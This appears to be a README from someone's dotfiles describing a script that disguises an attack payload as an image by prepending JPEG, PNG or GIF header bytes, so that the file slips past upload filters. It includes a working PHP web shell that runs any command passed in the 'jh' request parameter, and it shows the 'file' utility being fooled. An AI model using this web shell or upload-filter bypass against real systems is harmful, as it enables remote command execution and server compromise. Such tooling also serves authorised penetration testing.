Dotfiles/bin/.bin/payload-generation

Scripts for payload generation

generateImageFromPayload

This script is designed to disguise a payload as an image. It does this by adding the first 20 bytes of a real image to the beginning of the file and adding a file extension. This will fool most filters that, for example, might only allow images to be uploaded.

To use it, you will need to have a payload ready to use. It could be anything, here is a simple php script named payload.php

<?php
if( isset( $_REQUEST['jh'] ) ):
	system( $_REQUEST['jh'] );
endif;

If I run generateImageFromPayload payload.php, the script will create a file called payload.php.jpg.

.
├── payload.php
└── payload.php.jpg

After running file on both, you will see that it incorrectly identifies the second as an image.

file payload.php*
payload.php:     PHP script, ASCII text
payload.php.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16

The script will, by default, generate a jpg although you can specify png or gif by adding a second argument, e.g.

generateImageFromPayload payload.php png